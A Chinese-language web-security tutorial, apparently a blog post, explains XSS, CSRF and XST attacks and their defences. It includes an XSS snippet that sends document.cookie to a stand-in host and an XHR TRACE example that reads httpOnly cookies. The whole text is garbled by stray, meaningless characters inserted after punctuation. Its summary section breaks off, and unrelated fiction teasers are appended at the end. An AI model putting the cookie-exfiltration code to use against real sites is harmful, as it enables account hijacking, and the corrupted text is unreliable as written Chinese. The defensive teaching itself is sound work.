XSS谣殊,CSRF箩言,XST等網(wǎng)站安全

XSS(Cross Site Scripting) 跨站腳本攻擊

http://www.reibang.com/p/4fcb4b411a66

  • XSS原理

??黑客進(jìn)入存在輸入框的網(wǎng)頁(yè),輸入JS腳本,偽裝成圖片等東西展示給其他用戶看掸驱,其他用戶點(diǎn)擊或者加載即會(huì)受到攻擊肛搬。

一般分為存儲(chǔ)型,反射型和 DOM 型毕贼,危害性存儲(chǔ)型 > 反射型 > DOM 型温赔。

反射型:反射型 XSS 只是簡(jiǎn)單地把用戶輸入的數(shù)據(jù) “反射” 給瀏覽器,這種攻擊方式往往需要攻擊者誘使用戶點(diǎn)擊一個(gè)惡意鏈接鬼癣,或者提交一個(gè)表單陶贼,或者進(jìn)入一個(gè)惡意網(wǎng)站時(shí),注入腳本進(jìn)入被攻擊者的網(wǎng)站待秃。

存儲(chǔ)型:攻擊者可以將腳本注入到后臺(tái)存儲(chǔ)起來(lái)拜秧,構(gòu)成更加持久的危害,因此存儲(chǔ)型 XSS 也稱“永久型” XSS 章郁。

DOM 型:前端的輸入被 DOM 給獲取到了枉氮,通過(guò) DOM 又在前端輸出,跟反射型和存儲(chǔ)型比起來(lái)暖庄,它是不經(jīng)過(guò)后臺(tái)交互的聊替。

XSS攻擊例子:

var img=document.createElement("img");
img.src="http://web.com/log?"+escape(document.cookie);
document.body.appendChild(img);

//封裝成 js文件
<script type="text/javascript" src="http://www.Hovey.com/web.js"></script>
  • XSS攻擊的危害
  1. 盜取用戶 cookie,偽造用戶身份登錄培廓。
  2. 控制用戶瀏覽器惹悄。
  3. 結(jié)合瀏覽器及其插件漏洞,下載病毒木馬到瀏覽者的計(jì)算機(jī)上執(zhí)行医舆。
  4. 衍生 URL 跳轉(zhuǎn)漏洞俘侠。
  5. 讓官方網(wǎng)站出現(xiàn)釣魚頁(yè)面。
  6. 蠕蟲攻擊
  • 如何防止 XSS 跨站腳本攻擊

原則:不相信用戶輸入的數(shù)據(jù)

  1. 將重要的cookie標(biāo)記為http-only蔬将,這樣的話JS就不能獲取到cookie了(JavaScript中的document.cookie語(yǔ)句)爷速。
  2. 只允許用戶輸入我們期望的數(shù)據(jù)。例如:年齡中的textbox中霞怀,只允許輸入數(shù)字惫东,數(shù)字外的數(shù)據(jù)全部過(guò)濾。
  3. 過(guò)濾或移除特殊的HTML標(biāo)簽毙石,包括服務(wù)器端的廉沮。例如:<script>、<iframe>
    注意:攻擊代碼不一定在<script></script>中

CSRF(Cross Site Request Forgery) 跨站請(qǐng)求偽造

  • CSRF攻擊原理
CSRF攻擊原理

用戶是網(wǎng)站A的注冊(cè)用戶徐矩,且登錄進(jìn)去滞时,于是網(wǎng)站A就給用戶下發(fā)cookie。
從上圖可以看出滤灯,要完成一次CSRF攻擊坪稽,受害者必須滿足兩個(gè)必要的條件:
(1)登錄受信任網(wǎng)站A曼玩,并在本地生成Cookie。(如果用戶沒(méi)有登錄網(wǎng)站A窒百,那么網(wǎng)站B在誘導(dǎo)的時(shí)候黍判,請(qǐng)求網(wǎng)站A的api接口時(shí),會(huì)提示你登錄)
(2)在不登出A的情況下篙梢,訪問(wèn)危險(xiǎn)網(wǎng)站B(其實(shí)是利用了網(wǎng)站A的漏洞)顷帖。
(3)網(wǎng)站B上的腳本讓用戶對(duì)網(wǎng)站A發(fā)出請(qǐng)求。一般情況請(qǐng)求頭中referer來(lái)源是網(wǎng)站B渤滞。
(cookie保證了用戶可以處于登錄狀態(tài)贬墩,但網(wǎng)站B其實(shí)拿不到 cookie 也不需要拿到,但是用戶必須登錄網(wǎng)站A才行蔼水。)

  • CSRF攻擊示例

網(wǎng)站不同安全條件下的攻擊方式

  • 如何防止CSRF攻擊

方法一:Token 驗(yàn)證(用的最多)
(1)服務(wù)器發(fā)送給客戶端一個(gè)token震糖;
(2)客戶端提交的表單中帶著這個(gè)token。(網(wǎng)站B不知道這個(gè)表單的具體情況)
(3)如果這個(gè) token 不合法趴腋,那么服務(wù)器拒絕這個(gè)請(qǐng)求。

為什么token能抵御CSRF
??首先我們要知道瀏覽器在向網(wǎng)站A發(fā)送請(qǐng)求的時(shí)候會(huì)自動(dòng)攜帶網(wǎng)站A的cookie论咏,不論是從哪個(gè)地方發(fā)送的請(qǐng)求(無(wú)論在網(wǎng)站A优炬、網(wǎng)站B或者其他網(wǎng)站)
??CSRF攻擊要成功的條件在于攻擊者能夠預(yù)測(cè)所有的參數(shù)從而構(gòu)造出合法的請(qǐng)求。所以根據(jù)不可預(yù)測(cè)性原則厅贪,我們可以對(duì)參數(shù)進(jìn)行加密從而防止CSRF攻擊蠢护。
??另一個(gè)更通用的做法是保持原有參數(shù)不變,另外添加一個(gè)參數(shù)Token养涮,其值是隨機(jī)的葵硕。這樣攻擊者因?yàn)椴恢繲oken而無(wú)法構(gòu)造出合法的請(qǐng)求進(jìn)行攻擊。

方法二:隱藏令牌
把 token 隱藏在 http 的 head頭中贯吓。
方法二和方法一有點(diǎn)像懈凹,本質(zhì)上沒(méi)有太大區(qū)別,只是使用方式上有區(qū)別悄谐。

Token 使用原則

  • Token要足夠隨機(jī)————只有這樣才算不可預(yù)測(cè)
  • Token是一次性的介评,即每次請(qǐng)求成功后要更新Token————這樣可以增加攻擊難度,增加預(yù)測(cè)難度
  • Token要注意保密性————敏感操作使用post爬舰,防止Token出現(xiàn)在URL中

方法三:Referer 驗(yàn)證
Referer 指的是頁(yè)面請(qǐng)求來(lái)源们陆。意思是,只接受本站的請(qǐng)求情屹,服務(wù)器才做響應(yīng)坪仇;如果不是,就攔截垃你。
方法四:驗(yàn)證碼(用戶體驗(yàn)差)
方法五:減少request()請(qǐng)求(只是增加攻擊難度)

XST(Cross-Site Tracing) 跨站追蹤

  • 什么XST跨站追蹤

XST 的全稱是 Cross-Site Tracing椅文,中文譯作“跨站式追蹤攻擊”喂很。具體而言,是客戶端發(fā) TRACE / TRACK 請(qǐng)求至服務(wù)器雾袱,如果服務(wù)器按照標(biāo)準(zhǔn)實(shí)現(xiàn)了 TRACE / TRACK 響應(yīng)恤筛,則在 response body 里會(huì)返回此次請(qǐng)求的完整頭信息。通過(guò)這種方式芹橡,客戶端可以獲取某些敏感的 header 字段毒坛,例如 httpOnly 的 Cookie 等。

可見(jiàn) XST 的攻擊原理非常之簡(jiǎn)單林说,借由 XST 攻擊獲取到 Cookie 信息或者其他敏感信息之后煎殷,攻擊者可以利用這些信息再發(fā)動(dòng) XSS、CSRF腿箩、中間人攻擊等豪直,看似無(wú)害,但潛在的危險(xiǎn)卻很巨大珠移。僅根據(jù) XST 攻擊并不會(huì)對(duì)服務(wù)器造成實(shí)質(zhì)性的傷害弓乙,它真實(shí)的影響是暴露了敏感的 header 數(shù)據(jù),如擁有 httpOnly 屬性的 Cookie钧惧,已經(jīng)禁止前端 JavaScript 訪問(wèn)它(如 document.cookie)暇韧,防止它被發(fā)送給第三方,但即使在這種情況下浓瞪,TRACE 方法也可用于繞過(guò)此保護(hù)并訪問(wèn) cookie懈玻。因此 XST 也被稱作 Trace 泄露攻擊、Trace header 反射乾颁、Trace 方法注入(TMI)涂乌、Trace Header Cookie 攻擊(THC)。

  • XST 攻擊的條件:
  1. 需要目標(biāo) Web 服務(wù)器允許接受 Trace英岭、Track 方法的請(qǐng)求湾盒。
  2. 客戶端可以發(fā)送 Trace、Track 方法的請(qǐng)求巴席。(如今瀏覽器環(huán)境下已經(jīng)杜絕這種請(qǐng)求)

下面舉個(gè)栗子 历涝,這里我用 Express 搭建了一個(gè)簡(jiǎn)單的 Web 服務(wù)器,接受一個(gè) Trace 方法的請(qǐng)求:

import express from 'express'
import cookieParser from 'cookie-parser'

const app = express()

app.use(cookieParser())

app.use('/', (req, res, next) => {

  res.cookie('account', 'airing', { maxAge: 900000, httpOnly: true })

  return res.json(req.headers)
})

app.listen(3000)

我們用 TRACE 方法攜帶 Cookie 請(qǐng)求漾唉,可以發(fā)現(xiàn) Cookie 是可以被發(fā)送過(guò)去的(Chrome 24 環(huán)境下):

var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://127.0.0.1:3000/', false);
xhr.withCredentials = true
xhr.setRequestHeader('Cookie', 'account=airingursb');
xhr.send(null);
if(200 == xhr.status) console.log(xhr.responseText);

XST 的真正結(jié)果是它暴露了 JavaScript 通常無(wú)法訪問(wèn)的 HTTP 頭荧库,httpOnly 本應(yīng)該阻止 JavaScript 讀取與發(fā)送 cookie 到服務(wù)器,但 XST 成功繞過(guò)了 httpOnly 的限制赵刑。另外分衫,用于 HTTP Basic Auth 的 Authentication 頭只是 Base64 編碼的用戶名和密碼,不是 DOM 的一部分般此,理應(yīng)也不能直接被 JavaScript 讀取蚪战,但若使用 XST 也可以繞過(guò)牵现。這些敏感信息只通過(guò)一個(gè) Trace 請(qǐng)求卻全都暴露了出來(lái)。

  • XST 的防御方法

杜絕 XST 非常簡(jiǎn)單邀桑,Web 服務(wù)器限制 Trace瞎疼、Track 方法的請(qǐng)求即可。另如今壁畸, XMLHTTPRequest 已經(jīng)杜絕了 Trace 與 Track 方法的請(qǐng)求(Chrome 25 版本及 FireFox 19 之后)贼急,如果嘗試用 Trace / Track 方法請(qǐng)求,會(huì)拋出 SecurityError 異常捏萍,這也從根本上杜絕了 XST 攻擊太抓。

var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://localhost:3000/', false);
xhr.send(null);
if(200 == xhr.status) console.log(xhr.responseText);

Error

同時(shí),在 FireFox 43 之后令杈,Cookie 等不安全字段也被禁止攜帶在請(qǐng)求的 header 中發(fā)送走敌。詳見(jiàn) Forbidden header name | MSD

雖說(shuō)目前現(xiàn)代瀏覽器已經(jīng)越來(lái)越安全,XST 也成為了歷史逗噩,但其給我們 web 開(kāi)發(fā)者也留下警示——代碼編寫時(shí)一定要注意安全性和嚴(yán)謹(jǐn)性掉丽。

總結(jié)

CSRF需要

參考:
[1].Web安全防范(XSS、CSRF)
[2].XSS 和 CSRF簡(jiǎn)述及預(yù)防措施
[3].前端 | XST 的攻擊原理與防御

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末异雁,一起剝皮案震驚了整個(gè)濱河市机打,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌片迅,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,284評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件皆辽,死亡現(xiàn)場(chǎng)離奇詭異柑蛇,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)驱闷,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,115評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門耻台,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人空另,你說(shuō)我怎么就攤上這事盆耽。” “怎么了扼菠?”我有些...
    開(kāi)封第一講書人閱讀 164,614評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵摄杂,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我循榆,道長(zhǎng)析恢,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書人閱讀 58,671評(píng)論 1 293
  • 正文 為了忘掉前任秧饮,我火速辦了婚禮映挂,結(jié)果婚禮上泽篮,老公的妹妹穿的比我還像新娘。我一直安慰自己柑船,他們只是感情好帽撑,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,699評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著鞍时,像睡著了一般亏拉。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上寸癌,一...
    開(kāi)封第一講書人閱讀 51,562評(píng)論 1 305
  • 那天专筷,我揣著相機(jī)與錄音,去河邊找鬼蒸苇。 笑死磷蛹,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的溪烤。 我是一名探鬼主播味咳,決...
    沈念sama閱讀 40,309評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼檬嘀!你這毒婦竟也來(lái)了槽驶?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書人閱讀 39,223評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤鸳兽,失蹤者是張志新(化名)和其女友劉穎掂铐,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體揍异,經(jīng)...
    沈念sama閱讀 45,668評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡全陨,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,859評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了衷掷。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片辱姨。...
    茶點(diǎn)故事閱讀 39,981評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖戚嗅,靈堂內(nèi)的尸體忽然破棺而出雨涛,到底是詐尸還是另有隱情,我是刑警寧澤懦胞,帶...
    沈念sama閱讀 35,705評(píng)論 5 347
  • 正文 年R本政府宣布替久,位于F島的核電站,受9級(jí)特大地震影響医瘫,放射性物質(zhì)發(fā)生泄漏侣肄。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,310評(píng)論 3 330
  • 文/蒙蒙 一醇份、第九天 我趴在偏房一處隱蔽的房頂上張望稼锅。 院中可真熱鬧吼具,春花似錦、人聲如沸矩距。這莊子的主人今日做“春日...
    開(kāi)封第一講書人閱讀 31,904評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)锥债。三九已至陡蝇,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間哮肚,已是汗流浹背登夫。 一陣腳步聲響...
    開(kāi)封第一講書人閱讀 33,023評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留允趟,地道東北人恼策。 一個(gè)月前我還...
    沈念sama閱讀 48,146評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像潮剪,于是被迫代替她去往敵國(guó)和親涣楷。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,933評(píng)論 2 355